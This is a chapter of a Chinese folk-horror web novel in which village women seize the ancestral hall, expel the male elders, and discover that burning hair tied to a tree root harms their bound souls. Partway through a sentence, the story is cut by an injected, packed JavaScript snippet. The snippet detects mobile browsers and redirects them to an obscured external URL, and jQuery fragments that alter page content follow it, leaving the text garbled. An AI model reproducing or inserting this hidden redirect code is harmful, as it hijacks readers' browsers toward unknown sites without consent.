几天后的清晨，我和朱阿绣站在祠堂前，身后站着二十一位女人。


    祠堂的门紧闭着，朱漆已经斑驳。我上前一步，推开了那扇沉重的大门。


    门轴发出刺耳的声音，像是多年未曾这样彻底打开过。院子内阴冷潮湿，直面的供桌上积着厚厚的灰，黑色的树根上缠满了系上铃铛和牙齿的头发。


    男人们被押进来时，脸上还带着睡意和茫然。


    这段时间纸傀制造的幻象让他们几乎没合眼，此刻眼窝深陷，脚步虚浮。张山被春梅推着走进来，他膝盖一软，差点跪在地上。


    “跪下。”我说。


    我的声音在空旷的祠堂里回荡，不高，但清晰。


    男人们面面相觑。大族老挺直了腰杆，浑浊的眼睛瞪着我：“白濯心，你这是要造反！”


    他的话没说完。


    哑女剪的纸蛇悄无声息地从梁上垂下来，冰凉的纸身贴着他的后颈滑过。大族老浑身一僵，剩下的话卡在喉咙里，变成了一声短促的抽气。


    “我说，跪下。”


    这次没有人犹豫。


    扑通，扑通，扑通。


    男人们跪在了祠堂冰冷的石板地上，面对着黑色树根，奇怪的是本该被供在最中间的族谱没了。


    我走到供桌前，看着空缺的这块位置。只有这里，没有没有沾染任何的灰尘。


    “从今天起。”我转过身，看着跪了一地的男人，“祠堂的规矩，改了。”


    朱阿绣走到我身边，她今天穿了一件深蓝色的布衣，头发用木簪整齐地绾着，脸上没有什么表情。


    “愿意尊重女人，和平相处的，可以留下。”她的声音很平静，“不愿意的，今天日落之前，离开张兴村。”


    祠堂里一片死寂。


    只能听见粗重的呼吸声，还有远处早起的鸟鸣。


    过了很久，张山第一个抬起头。他的额头抵着地面，声音闷闷地从石板缝里传出来：“我……我留下。我对春梅……我会改。”


    春梅站在他身后，手里握着的剪刀紧了紧，终究没有说什么。


    陆续有人开口，声音或颤抖或嘶哑，有的说要留下，有的实在无法接受说要走。留下的部分男人或许是真的悔悟，或许只是恐惧。


    最后只剩下三个族老还僵着。


    大族老慢慢直起身，他的膝盖发出咯吱的响声。他看着我，看了很久，然后笑了，那笑容很难看，像是用尽了最后的气力。


    “好，好得很。”他说，“白濯心，你比你娘狠。”


    “我只是不想像我娘那样死。”我说。


    他不再说话，扶着供桌站起来，转身往外走。另外两个族老跟在他身后，脚步踉跄。走到门口时，大族老回头看了一眼祠堂深处，遍布头发的树根。


    但他终究没有说什么，只是摇了摇头，消失在晨雾里。


    那天黄昏，三个族老带着不打算留下的男人还有家眷离开了村子。


    他们走得很安静，几辆牛车装着简单的行李，车轮碾过石板路，发出单调的辘辘声。村口的老槐树下，我们站在那儿目送。


    春梅忽然说：“他们把族谱带走了。”


    我看向她。


    “昨天下午有人看见，大族老从祠堂里取走了族谱。”春梅的声音里有一丝不安，“那上面记着所有张姓人的名字……”


    “让他们带走。”朱阿绣说，“那本族谱上，本来就没有我们的位置。”


    她说得对，那本厚厚的族谱，只记男人的名字。女人在那上面只是附属，是“某氏”，是生儿育女的工具，是死了连个全名都留不下的影子。


    牛车消失在道路尽头，扬起淡淡的尘土。


    夕阳把我们的影子拉得很长，二十三个影子交叠在一起，分不清谁是谁。


    “回祠堂吧。”我说。


    重新推开祠堂门时，天已经暗下来了。


    我们在天井里点起篝火，火光跳跃着，把每个人的脸映得忽明忽暗。女人们开始打扫，她们打来清水，擦拭供桌，扫去积年的灰尘。


    动作起初有些生疏，毕竟这是她们第一次被允许踏进这个地方。但很快，她们就熟练起来。哑女甚至爬上了梯子，去擦那些高高的横梁。


    朱阿绣触碰供桌墙上那柄黑树根时，我们都停下了手里的活。


    那是老槐树的残根，被雷劈过后，一直供在这里。


    树根上系满了头发。


    一缕一缕，用红绳仔细地捆着，系在树根的枝桠上。有些头发已经干枯发黄，有些还保持着黑色。太多了，密密麻麻，浮在眼前。


    每一缕头发下面，都系着一个小小的铃铛和牙齿。


    我走近，拿起最近的一根。铃铛很轻，里面用刀刻着一个名字：张广舟，母张王氏。字迹歪斜，刻得很深。


    “这是我一个姐妹。”春梅的声音在身后响起。她不知何时也走了进来，站在我身边，看着那缕已经黑色的头发，“她被卖到这里那年，才十六岁。族老说，系上头发，魂就永远留在这儿了，死了也不能回娘家。”


    她又指了指旁边一缕乌黑的头发：“那是我的。”


    再旁边，更细的一缕：“哑女的，她来的时候才十四岁。”


    满树根的头发，满树根的附属姓氏。


    ……有些姓氏我听过，有些没有。她们曾经是谁家的女儿，谁的姐妹，谁曾经爱过的人。如今都变成了这一缕缕枯发，系在这截焦黑的树根上，像被钉住的标本。


    “烧了吧。”朱阿绣说。


    她的声音很轻，但在寂静的屋子里格外清晰。


    “烧了，她们就自由了。”


    我们搬来了火盆，放在屋子中央。春梅小心翼翼地从树根上解下一缕头发，那是她自己的。她盯着那缕乌黑的发丝看了很久，然后轻轻扔进火盆。


    火焰窜起来，舔舐着发丝。


    她闭上眼睛，深深吸了一口气，像是卸下了什么重担。


    “下一个。”朱阿绣继续说。


    我们开始动手。女人们一个一个走进来，找到自己的头发，解下来，扔进火盆。火光在每个人脸上跳跃，映出她们复杂的表情。


    奇怪的是春梅忽然闷哼一声，整个人向后踉跄了一步。


    “怎么了？”我扶住她。


    春梅的脸色在火光下变得惨白。她捂着胸口，额头上渗出细密的冷汗，嘴唇颤抖着，却说不出话来。


    几乎是同时，刚把自己的头发扔进火盆的哑女也弯下了腰。她捂住脖子，张大了嘴，发出无声的嘶喊。


    接着是第三个，第四个……


    凡是烧了自己头发的女人，都开始出现异常。有的跪倒在地，有的蜷缩成一团，有的开始抓挠自己的皮肤。


    “停下！”我喊道，“都停下！”


    火盆里的火焰还在燃烧，但没有人再往里扔头发了。屋子里弥漫着头发烧焦的刺鼻气味，混合着女人们压抑的呻/吟声。


    李寡妇忽然跪倒在树根前。


    她颤抖着手，抚摸着那些尚未烧掉的头发，眼睛里涌出大颗大颗的眼泪。“不是锁魂……”她喃喃道，“是诅咒……他们下了诅咒……”


    我走过去，蹲在她身边：“什么诅咒？”


    “被记了名的女人，魂就系在这树根上了。”李寡妇的声音嘶哑得厉害，“烧了头发，不是解脱……是在烧自己的魂……”


    她抬起泪眼模糊的脸


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182447|190971||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，看着满墙上垂挂的发丝：“我们……我们根本出不去。就算人走了，魂也永远困在这儿了。”


    屋子里死一般的寂静。


    朱阿绣忽然笑了。


    那笑声很轻，很冷，在寂静的屋子里格外瘆人。她走到火堆前蹲下身，将刚刚燃烧的头发用树枝都剥离出来。


    “也好。”她说，“既然出不去，那这里就是我们的家了。”


    她转过身，火光在她身后投下长长的影子。


    “姐妹们，听见了吗？我们走不了了，永远都走不了了。那就留下来，把这座村子，变成我们真正的家。”


    女人们慢慢直起身。


    痛苦还在她们脸上残留，但有什么东西正在那痛苦之下快速生长。或许是一种认命，一种决绝，一种破釜沉舟的狠劲。


    春梅擦掉嘴角的血沫，站起来：“那就留下。”


    哑女在地上写：“家。”


    李寡妇最后看了一眼火盆里的灰烬，然后转过身：“好，我们留下。”


    那天夜里，我们在祠堂里待到很晚。


    我们把所有头发重新系回树根。不同的是这一次，是我们自己系的，系得整整齐齐，每一缕下面都挂上了新的铃铛。铃铛里刻的不再是冰冷的“某氏”，而是完整的名字，有些甚至加上了她们原本的姓氏，还有属于自己的心愿。


    “你要重新刻吗？”我看着朱阿绣手上那根绑着张信牙齿的头发和铃铛，她盯着里面写的东西，只是轻轻摇了摇头。


    “刻谁都不合适。”


    我没有嫁娶也没有子嗣，所以在这树根上并没有属于我的头发。但在所有女人的面前，我仍然系上了一缕自己的头发。剪刀划过发梢时很轻，一缕乌黑的发丝落在掌心，还带着温度。我用红绳仔细系好，挂在树根最高的一处枝桠上，下面挂上没有牙齿的铃铛：白濯心。


    从今往后，我的魂也系在这儿了。


    系在这座村子，这片土地，这群女人身上。


    离开祠堂时，月亮已经升得很高。女人们互相搀扶着往回走，没有人说话，但所有人的脊背都挺得很直。


    朱阿绣走在我身边，她的侧脸在月光下显得很柔和。


    “累了？”我问。


    她摇摇头，嘴角浮起一丝笑意：“从未这样清醒过。”


    我们走到岔路口时，她停下脚步，看向我：“白小姐，谢谢你。”


    “谢什么？”


    “谢谢你让我看见，女人还可以这样活。”她的眼睛在月光下很亮，“虽然走不了了，但至少，我们能按自己的心意活了。”


    她转身朝自己家的方向走去，衣角在夜风里轻轻飘动。


    我站在原地，看了很久她的背影。


    那一刻我以为，最难的已经过去了。男人们要么屈服要么离开，祠堂对我们敞开了大门，女人们团结在一起，张兴村终于要迎来属于女人的时代。


    我以为一切都在变好。


    我以为我终于实现了想要的自由，可以稍微喘口气。


    我错了，大错特错。


    如今，我看着眼前这位曾经亲昵、彼此信任的女人，旧人却换了副陌生的皮囊。


    她是朱阿绣，只是不是曾经的朱阿绣了。


    我不知她是从何开始变的，或许是祠堂烧头发那日，或许更早，或许她从来不曾变过。她只是在我面前，伪装的很好。


    我和她产生隔阂的那段时间，发现了太多秘密。从一开始的忽视，到中途的不对劲，再到被戳破眼见为实的震惊。


    我对她的容忍，从一件件怀疑，成了最后填不满的窟窿。我以为，我找到了这辈子知根知底，最知心的亲人。谁知，她却成了另一个桂娘。